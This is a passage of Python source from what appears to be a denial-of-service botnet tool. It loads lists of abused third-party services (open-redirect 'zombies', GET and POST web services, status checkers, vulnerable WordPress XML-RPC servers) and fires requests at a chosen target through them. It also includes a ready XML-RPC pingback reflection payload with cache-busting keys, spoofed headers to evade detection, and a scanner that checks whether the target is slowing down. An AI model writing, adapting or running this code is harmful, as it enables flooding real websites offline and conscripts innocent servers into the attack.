  3959. try: # another check for public ip
  3960. data = str(urllib.request.urlopen(self.check_ip_service2).read())
  3961. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3962. check_ip_service = self.check_ip_service2
  3963. except:
  3964. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3965. self.nat_error_flag = "ON"
  3966. return
  3967. t = urlparse(check_ip_service)
  3968. name_service = t.netloc
  3969. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3970. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3971. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3972. self.local_ip = s.getsockname()[0]
  3973. print(" + Local: " + self.local_ip + "\n")
  3974. print('='*22 + '\n')
  3975. def extract_ucavs(self):
  3976. # extract ucavs from file
  3977. options = self.options
  3978. try:
  3979. f = open(self.ucavs_file)
  3980. ucavs = f.readlines()
  3981. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3982. f.close()
  3983. if not ucavs:
  3984. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3985. self.options.disableucavs = True
  3986. return
  3987. else:
  3988. return ucavs
  3989. except:
  3990. if os.path.exists(self.ucavs_file) == True:
  3991. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3992. return #sys.exit(2)
  3993. else:
  3994. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3995. return #sys.exit(2)
  3996. def discarding_ucavs(self, ucav, ucavs):
  3997. if ucav in self.discard_ucavs:
  3998. ucavs.remove(ucav)
  3999. if self.options.verbose:
  4000. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  4001. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4002. return ucavs
  4003. def send_ucavs(self, ucavs):
  4004. # extract external status checkers, perform a request and check results
  4005. time.sleep(5) # aiming (multi-threading flow time compensation)
  4006. if not self.options.disablepurge:
  4007. if not ucavs: # return when not any working
  4008. self.options.disableucavs = True
  4009. return
  4010. options = self.options
  4011. target = self.options.target
  4012. shuffle(ucavs) # shuffle ucavs order, each round :-)
  4013. if not self.options.disablepurge:
  4014. for ucav in ucavs:
  4015. if not ucav.startswith('http'): # discarded inmediately
  4016. self.discard_ucavs.append(ucav)
  4017. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4018. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  4019. if not self.options.disablepurge:
  4020. if not ucavs: # return when not any working
  4021. self.options.disableucavs = True
  4022. return
  4023. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  4024. for ucav in ucavs:
  4025. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4026. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4027. if target.startswith("http://"): # parse target for some checkers
  4028. target = target.replace('http://','')
  4029. elif target.startswith("https://"):
  4030. target = target.replace('https://','')
  4031. url = ucav + target
  4032. t = urlparse(ucav)
  4033. name_ucav = t.netloc
  4034. if name_ucav == "":
  4035. name_ucav = ucav
  4036. if options.verbose:
  4037. print(("[Info] [UCAVs] Sniping: " + url))
  4038. try:
  4039. if options.proxy: # set proxy
  4040. self.proxy_transport(options.proxy)
  4041. if options.timeout: # set timeout
  4042. ucav_timeout = options.timeout
  4043. else:
  4044. ucav_timeout = 5
  4045. if ucav_timeout < 1:
  4046. ucav_timeout = 5
  4047. req = urllib.request.Request(url, None, headers)
  4048. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4049. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4050. except:
  4051. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4052. if not self.options.disablepurge:
  4053. self.discard_ucavs.append(ucav)
  4054. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4055. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4056. target_reply = ""
  4057. if target_reply == "": # check for target's status resolved by [UCAVs]
  4058. pass
  4059. else:
  4060. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4061. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4062. self.num_is_up = self.num_is_up + 1
  4063. else:
  4064. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4065. self.num_is_down = self.num_is_down + 1
  4066. if self.options.verbose:
  4067. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4068. self.extra_zombies_lock = False # [ARMY] have finished
  4069. def extract_median(self, num_list):
  4070. # extract median from a list of numbers
  4071. import statistics
  4072. int_num = []
  4073. for num in num_list:
  4074. num = float(num)
  4075. int_num.append(num)
  4076. return statistics.median(int_num)
  4077. def check_is_loading(self, target):
  4078. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4079. self.start = None
  4080. self.stop = None
  4081. print('\n---------')
  4082. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4083. if target.endswith(""):
  4084. target.replace("", "/")
  4085. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4086. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4087. try:
  4088. req = urllib.request.Request(target, None, headers)
  4089. if self.options.proxy: # set proxy
  4090. self.proxy_transport(self.options.proxy)
  4091. if self.options.timeout: # set timeout
  4092. try:
  4093. timeout = int(self.options.timeout)
  4094. except:
  4095. timeout = 5
  4096. else:
  4097. timeout = 5
  4098. if timeout < 1:
  4099. timeout = 5
  4100. self.start = time.time()
  4101. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4102. header = urllib.request.urlopen(req, context=self.ctx).info()
  4103. self.stop = time.time()
  4104. except:
  4105. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4106. return
  4107. try:
  4108. s, size_name = self.convert_size(len(target_reply))
  4109. self.loadcheck_size_list.append(s) # add record to size list
  4110. size = '%s %s' % (s,size_name)
  4111. except:
  4112. size = "Error!"
  4113. try:
  4114. time_required = self.stop - self.start
  4115. load = self.convert_time(time_required)
  4116. self.loadcheck_load_list.append(load) # add record to load list
  4117. except:
  4118. load = "Error!"
  4119. self.loadcheck_counter = self.loadcheck_counter + 1
  4120. print(' -Total tests:', self.loadcheck_counter, "\n")
  4121. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4122. lsm = self.extract_median(self.loadcheck_size_list)
  4123. if lsm is not None:
  4124. self.loadcheck_size_median = str(lsm) + " " + size_name
  4125. else:
  4126. self.loadcheck_size_median = None
  4127. llm = self.extract_median(self.loadcheck_load_list)
  4128. if llm is not None:
  4129. self.loadcheck_load_median = str(llm) + " seconds"
  4130. else:
  4131. self.loadcheck_load_median = None
  4132. if self.loadcheck_counter == 2: # first round
  4133. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4134. print(' -Bytes in (this round) :', size)
  4135. if self.loadcheck_size_median is not None:
  4136. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4137. print(' ----')
  4138. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4139. print(' -Load time (this round) :', load, "seconds")
  4140. if self.loadcheck_load_median is not None:
  4141. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4142. else:
  4143. print("\n")
  4144. self.loadcheck_size_max = None
  4145. self.loadcheck_size_min = None
  4146. self.loadcheck_load_max = None
  4147. self.loadcheck_load_min = None
  4148. elif self.loadcheck_counter > 2: # rest of rounds
  4149. lsmax = max(self.loadcheck_size_list)
  4150. if lsmax is not None:
  4151. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4152. else:
  4153. self.loadcheck_size_max = None
  4154. lsmin = min(self.loadcheck_size_list)
  4155. if lsmin is not None:
  4156. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4157. else:
  4158. self.loadcheck_size_min = None
  4159. llmax = max(self.loadcheck_load_list)
  4160. if llmax is not None:
  4161. self.loadcheck_load_max = str(llmax) + " seconds"
  4162. else:
  4163. self.loadcheck_load_max = None
  4164. llmin = min(self.loadcheck_load_list)
  4165. if llmin is not None:
  4166. self.loadcheck_load_min = str(llmin) + " seconds"
  4167. else:
  4168. self.loadcheck_load_min = None
  4169. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4170. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4171. print(' -Bytes in (this round) :', size)
  4172. if self.loadcheck_size_max is not None:
  4173. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4174. if self.loadcheck_size_min is not None:
  4175. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4176. if self.loadcheck_size_median is not None:
  4177. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4178. print(' ----')
  4179. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4180. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4181. print(' -Load time (this round) :', load, "seconds")
  4182. if self.loadcheck_load_max is not None:
  4183. print(' -Load time (max) :', self.loadcheck_load_max)
  4184. if self.loadcheck_load_min is not None:
  4185. print(' -Load time (min) :', self.loadcheck_load_min)
  4186. if self.loadcheck_load_median is not None:
  4187. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4188. else:
  4189. print("\n")
  4190. if self.loadcheck_prev_load < load: # target is loading more slowly
  4191. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4192. elif self.loadcheck_prev_load == load: # inmutable target
  4193. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4194. elif self.loadcheck_prev_load > load: # is target defending?
  4195. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4196. else:
  4197. print(' -Bytes in (this round) :', size)
  4198. print(' -Load time (this round):', load, "seconds\n")
  4199. self.loadcheck_first_size = size
  4200. self.loadcheck_first_load = load
  4201. self.loadcheck_size_median = None
  4202. self.loadcheck_load_median = None
  4203. self.loadcheck_size_max = None
  4204. self.loadcheck_size_min = None
  4205. self.loadcheck_load_max = None
  4206. self.loadcheck_load_min = None
  4207. self.loadcheck_prev_size = size # record previous size
  4208. self.loadcheck_prev_load = load # record previous load
  4209. def convert_size(self, size):
  4210. if (size == 0):
  4211. return '0 B'
  4212. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4213. i = int(math.floor(math.log(size,1024)))
  4214. p = math.pow(1024,i)
  4215. s = round(size/p,2)
  4216. return s, size_name[i]
  4217. def convert_time(self, time):
  4218. return '%.2f' % time
  4219. def discarding_zombies(self, zombie, zombies):
  4220. if zombie in self.discardzombies:
  4221. zombies.remove(zombie)
  4222. if self.options.verbose:
  4223. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4224. return zombies
  4225. def send_zombies(self, zombies):
  4226. # send Open Redirect zombies
  4227. time.sleep(1) # aiming (multi-threading flow time compensation)
  4228. if not self.options.disablepurge:
  4229. if not zombies:
  4230. self.empty_zombies = True
  4231. return
  4232. if self.options.verbose:
  4233. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4234. options = self.options
  4235. target = self.options.target
  4236. shuffle(zombies) # shuffle zombies order, each round :-)
  4237. if not self.options.disablepurge:
  4238. for zombie in zombies: # check if zombie is failing for autobalance army
  4239. if not zombie.startswith('http'): # discarded inmediately
  4240. self.discardzombies.append(zombie)
  4241. self.num_discard_zombies = self.num_discard_zombies + 1
  4242. zombies = self.discarding_zombies(zombie, zombies)
  4243. if not self.options.disablepurge:
  4244. if not zombies: # return when not any working
  4245. self.empty_zombies = True
  4246. return
  4247. for zombie in zombies:
  4248. t = urlparse(zombie)
  4249. name_zombie = t.netloc
  4250. if name_zombie == "":
  4251. name_zombie = zombie
  4252. if not self.options.attackme:
  4253. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4254. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4255. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4256. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4257. self.options.target = target
  4258. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4259. print("[Info] [Zombies] Payload: " + target)
  4260. print('='*55, "\n")
  4261. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4262. if not options.target.startswith('http'):
  4263. if options.forcessl:
  4264. options.target = "https://" + options.target
  4265. else:
  4266. options.target = "http://" + options.target
  4267. self.attack_mode = True
  4268. try:
  4269. if options.verbose:
  4270. print("[Info] [Zombies] Sniping: " + options.target)
  4271. self.connect_zombies(zombie)
  4272. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4273. self.db_flash = self.db_flash + 1
  4274. stress = self.stressing(target, zombie)
  4275. except Exception:
  4276. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4277. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4278. if not self.options.disablepurge:
  4279. self.discardzombies.append(zombie)
  4280. self.num_discard_zombies = self.num_discard_zombies + 1
  4281. if self.options.verbose:
  4282. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4283. self.attack_mode = False
  4284. def discarding_aliens(self, alien, aliens):
  4285. if alien in self.discard_aliens:
  4286. aliens.remove(alien)
  4287. if self.options.verbose:
  4288. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4289. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4290. return aliens
  4291. def send_aliens(self, aliens):
  4292. # extract external web abuse services urls (POST) and perform requests against target
  4293. time.sleep(2) # aiming (multi-threading flow time compensation)
  4294. if not self.options.disablepurge:
  4295. if not aliens: # return when not any working
  4296. self.options.disablealiens = True
  4297. return
  4298. target = self.options.target
  4299. options = self.options
  4300. shuffle(aliens) # shuffle aliens
  4301. if not self.options.disablepurge:
  4302. for alien in aliens:
  4303. if not alien.startswith('http'): # discarded inmediately
  4304. self.discard_aliens.append(alien)
  4305. self.num_discard_aliens = self.num_discard_aliens + 1
  4306. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4307. if not self.options.disablepurge:
  4308. if not aliens: # return when not any working
  4309. self.options.disablealiens = True
  4310. return
  4311. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4312. for alien in aliens:
  4313. name_alien = None
  4314. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4315. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4316. pattern_alien = re.compile(regex_alien)
  4317. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4318. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4319. pattern_param = re.compile(regex_param)
  4320. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4321. for u in alien_url:
  4322. url = u # ex: POST -> path/submit.php
  4323. try:
  4324. t = urlparse(url)
  4325. except:
  4326. pass
  4327. name_alien = t.netloc
  4328. if name_alien == "":
  4329. name_alien = alien
  4330. print("[Info] [Aliens] Attacking from: " + name_alien)
  4331. for p in param:
  4332. param_target = {p : target} # ex POST -> url=target
  4333. param_target = urllib.parse.urlencode(param_target)
  4334. try:
  4335. if options.verbose:
  4336. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4337. if options.proxy: # set proxy
  4338. self.proxy_transport(options.proxy)
  4339. if self.options.timeout: # set timeout
  4340. try:
  4341. alien_timeout = int(self.options.timeout)
  4342. except:
  4343. alien_timeout = 5
  4344. else:
  4345. alien_timeout = 5
  4346. if alien_timeout < 1:
  4347. alien_timeout = 5
  4348. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4349. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4350. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4351. except Exception:
  4352. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4353. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4354. if not self.options.disablepurge:
  4355. self.discard_aliens.append(alien)
  4356. self.num_discard_aliens = self.num_discard_aliens + 1
  4357. else:
  4358. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4359. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4360. if not self.options.disablepurge:
  4361. self.discard_aliens.append(alien)
  4362. self.num_discard_aliens = self.num_discard_aliens + 1
  4363. if self.options.verbose:
  4364. if name_alien:
  4365. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4366. else:
  4367. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4368. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4369. self.extra_zombies_lock = False # [ARMY] have finished
  4370. def extract_aliens(self):
  4371. # extract aliens from file
  4372. options = self.options
  4373. try:
  4374. f = open(self.aliens_file)
  4375. aliens = f.readlines()
  4376. aliens = [ alien.replace('\n','') for alien in aliens ]
  4377. f.close()
  4378. if not aliens:
  4379. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4380. self.options.disablealiens = True
  4381. return
  4382. else:
  4383. return aliens
  4384. except:
  4385. if os.path.exists(self.aliens_file) == True:
  4386. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4387. return #sys.exit(2)
  4388. else:
  4389. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4390. return #sys.exit(2)
  4391. def discarding_droids(self, droid, droids):
  4392. if droid in self.discard_droids:
  4393. droids.remove(droid)
  4394. if self.options.verbose:
  4395. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4396. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4397. return droids
  4398. def send_droids(self, droids):
  4399. # extract external web abuse services urls (GET) and perform requests against target
  4400. time.sleep(3) # aiming (multi-threading flow time compensation)
  4401. if not self.options.disablepurge:
  4402. if not droids: # return when not any working
  4403. self.options.disabledroids = True
  4404. return
  4405. target = self.options.target
  4406. try:
  4407. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4408. except:
  4409. target = urllib.parse.unquote(target)
  4410. if target.startswith('http://'): # remove http
  4411. target = target.replace('http://', '')
  4412. if target.startswith('https://'):
  4413. target = target.replace('https://', '') # remove https
  4414. options = self.options
  4415. shuffle(droids) # shuffle droids
  4416. if not self.options.disablepurge:
  4417. for droid in droids:
  4418. if not droid.startswith('http'): # discarded inmediately
  4419. self.discard_droids.append(droid)
  4420. self.num_discard_droids = self.num_discard_droids + 1
  4421. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4422. if not self.options.disablepurge:
  4423. if not droids: # return when not any working
  4424. self.options.disabledroids = True
  4425. return
  4426. shuffle(droids) # shuffle droids order, each discarding check :-)
  4427. for droid in droids:
  4428. name_droid = None
  4429. if "$TARGET" in droid: # replace droid/parameter for target
  4430. url = droid.replace("$TARGET", target)
  4431. t = urlparse(url)
  4432. name_droid = t.netloc
  4433. if name_droid == "":
  4434. name_droid = droid
  4435. print("[Info] [Droids] Attacking from: " + name_droid)
  4436. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4437. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4438. try:
  4439. if options.proxy: # set proxy
  4440. self.proxy_transport(options.proxy)
  4441. if self.options.timeout: # set timeout
  4442. try:
  4443. droid_timeout = int(self.options.timeout)
  4444. except:
  4445. droid_timeout = 5
  4446. else:
  4447. droid_timeout = 5
  4448. if droid_timeout < 1:
  4449. droid_timeout = 5
  4450. req = urllib.request.Request(url, None, headers)
  4451. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4452. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4453. except Exception:
  4454. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4455. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4456. if not self.options.disablepurge:
  4457. self.discard_droids.append(droid)
  4458. self.num_discard_droids = self.num_discard_droids + 1
  4459. else:
  4460. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4461. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4462. if not self.options.disablepurge:
  4463. self.discard_droids.append(droid)
  4464. self.num_discard_droids = self.num_discard_droids + 1
  4465. if self.options.verbose:
  4466. if name_droid:
  4467. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4468. else:
  4469. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4470. if self.options.disablerpcs and self.options.disableucavs:
  4471. self.extra_zombies_lock = False # [ARMY] have finished
  4472. def extract_droids(self):
  4473. # extract droids from file
  4474. options = self.options
  4475. try:
  4476. f = open(self.droids_file)
  4477. droids = f.readlines()
  4478. droids = [ droid.replace('\n','') for droid in droids ]
  4479. f.close()
  4480. if not droids:
  4481. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4482. self.options.disabledroids = True
  4483. return
  4484. else:
  4485. return droids
  4486. except:
  4487. if os.path.exists(self.droids_file) == True:
  4488. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4489. return #sys.exit(2)
  4490. else:
  4491. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4492. return #sys.exit(2)
  4493. def discarding_rpcs(self, rpc, rpcs):
  4494. if rpc in self.discard_rpcs:
  4495. rpcs.remove(rpc)
  4496. if self.options.verbose:
  4497. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4498. return rpcs
  4499. def send_rpcs(self, rpcs):
  4500. # extract vulnerable XML-RPC pingback services and perform requests against target
  4501. time.sleep(4) # aiming (multi-threading flow time compensation)
  4502. if not self.options.disablepurge:
  4503. if not rpcs: # return when not any working
  4504. self.options.disablerpcs = True
  4505. return
  4506. target = self.options.target
  4507. options = self.options
  4508. def random_key(length):
  4509. key = ''
  4510. for i in range(length):
  4511. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4512. return key
  4513. shuffle(rpcs) # shuffle rpcs
  4514. if not self.options.disablepurge:
  4515. for rpc in rpcs:
  4516. if not rpc.startswith('http'): # discarded inmediately
  4517. if not self.options.disablepurge:
  4518. self.discard_rpcs.append(rpc)
  4519. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4520. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4521. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4522. if not self.options.disablepurge:
  4523. if not rpcs: # return when not any working
  4524. self.options.disablerpcs = True
  4525. return
  4526. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4527. for rpc in rpcs:
  4528. t = urlparse(rpc)
  4529. name_rpc = t.netloc
  4530. if name_rpc == "":
  4531. name_rpc = rpc
  4532. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4533. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4534. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4535. key = random_key(8) # generate random value page to bypass cache
  4536. rpc_page = "?" + str(key)
  4537. key = random_key(6) # re-generate random value id to bypass cache
  4538. rpc_id = "=" + str(key)
  4539. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4540. if "/xmlrpc.php" in rpc:
  4541. rpc_place = rpc.replace("xmlrpc.php", "")
  4542. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4543. try:
  4544. if options.proxy: # set proxy
  4545. self.proxy_transport(options.proxy)
  4546. if self.options.timeout: # set timeout
  4547. try:
  4548. rpc_timeout = int(self.options.timeout)
  4549. except:
  4550. rpc_timeout = 5
  4551. else:
  4552. rpc_timeout = 5
  4553. if rpc_timeout < 1:
  4554. rpc_timeout = 5
  4555. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  4556. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  4557. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  4558. if self.options.verbose:
  4559. print("[Info] [X-RPCs] Reply:", target_reply)
  4560. except:
  4561. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  4562. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4563. if not self.options.disablepurge:
  4564. self.discard_rpcs.append(rpc)
  4565. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4566. else:
  4567. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  4568. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4569. if not self.options.disablepurge:
  4570. self.discard_rpcs.append(rpc)
  4571. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4572. if self.options.verbose:
  4573. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  4574. if self.options.disableucavs:
  4575. self.extra_zombies_lock = False # [ARMY] have finished
  4576. def extract_rpcs(self):
  4577. # extract rpcs from file
  4578. options = self.options
  4579. try:
  4580. f = open(self.rpcs_file)
  4581. rpcs = f.readlines()
  4582. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  4583. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  4584. f.close()
  4585. if not rpcs:
  4586. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4587. self.options.disablerpcs = True
  4588. return
  4589. else:
  4590. return rpcs
  4591. except:
  4592. if os.path.exists(self.rpcs_file) == True:
  4593. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4594. return
  4595. else:
  4596. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  4597. return
  4598. def extract_ntps(self):
  4599. # extract ntps from file
  4600. options = self.options
  4601. try:
  4602. f = open(self.ntps_file)
  4603. ntps = f.readlines()
  4604. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  4605. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  4606. f.close()
  4607. if not ntps:
  4608. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4609. return
  4610. else:
  4611. return ntps
  4612. except:
  4613. if os.path.exists(self.ntps_file) == True:
  4614. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4615. return
  4616. else:
  4617. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  4618. return
  4619. def extract_dnss(self):
  4620. # extract dnss from file
  4621. options = self.options
  4622. try:
  4623. f = open(self.dnss_file)
  4624. dnss = f.readlines()
  4625. dnss = [ dns.replace('\r','') for dns in dnss ]
  4626. dnss = [ dns.replace('\n','') for dns in dnss ]
  4627. f.close()
  4628. if not dnss:
  4629. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4630. return
  4631. else:
  4632. return dnss
  4633. except:
  4634. if os.path.exists(self.dnss_file) == True:
  4635. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4636. return
  4637. else:
  4638. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  4639. return
  4640. def extract_snmps(self):
  4641. # extract snmps from file
  4642. options = self.options
  4643. try:
  4644. f = open(self.snmps_file)
  4645. snmps = f.readlines()
  4646. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  4647. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  4648. f.close()
  4649. if not snmps:
  4650. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4651. return
  4652. else:
  4653. return snmps
  4654. except:
  4655. if os.path.exists(self.snmps_file) == True:
  4656. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4657. return
  4658. else:
  4659. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  4660. return
  4661. def extract_zombies(self):
  4662. options = self.options
  4663. if self.options.test:
  4664. try:
  4665. f = open(options.test)
  4666. zombies = f.readlines()
  4667. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4668. f.close()
  4669. if not zombies:
  4670. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4671. return
  4672. else:
  4673. return zombies
  4674. except:
